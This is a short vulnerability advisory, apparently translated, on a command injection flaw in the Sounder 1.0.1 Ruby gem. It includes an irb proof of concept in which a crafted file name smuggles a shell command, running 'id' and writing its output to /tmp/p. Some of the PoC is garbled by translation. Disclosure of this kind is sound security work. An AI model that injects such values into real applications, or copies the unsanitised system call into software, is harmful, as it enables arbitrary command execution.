Release date:
Updated on:
Affected Systems:
Rubygems Sounder 1.0.1
Description:
--------------------------------------------------------------------------------
Bugtraq id: 62023
Sounder is the ruby gem API of the Mac OSX afplay command.
Sounder 1.0.1 has the remote command injection vulnerability. Attackers can exploit this vulnerability to execute arbitrary commands in the affected application context.
<* Source: Larry W. Cashdollar (lwc@vapid.dhs.org)
Link: http://seclists.org/oss-sec/2013/q3/495
*>
Test method:
--------------------------------------------------------------------------------
Alert
The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!
PoC:
Irb (main): 098: 0> @ file = "\" id;/usr/bin/id>/tmp/p ;\""
=> "\" Id;/usr/bin/id>/tmp/p ;\""
Irb (main): 099: 0> system % {/bin/echo "# {@ file }"}
Id
Sh: 1: Permission denied
=> False
Irb (main): 100: 0>
Larry @ underfl0w:/tmp $ cat/tmp/p
Uid = 1000 (larry) gid = 600 (staff) groups = 600 (user)
Suggestion:
--------------------------------------------------------------------------------
Vendor patch:
Rubygems
--------
Currently, the vendor does not provide patches or upgrade programs. We recommend that users who use the software follow the vendor's homepage to obtain the latest version:
Https://rubygems.org/gems/sounder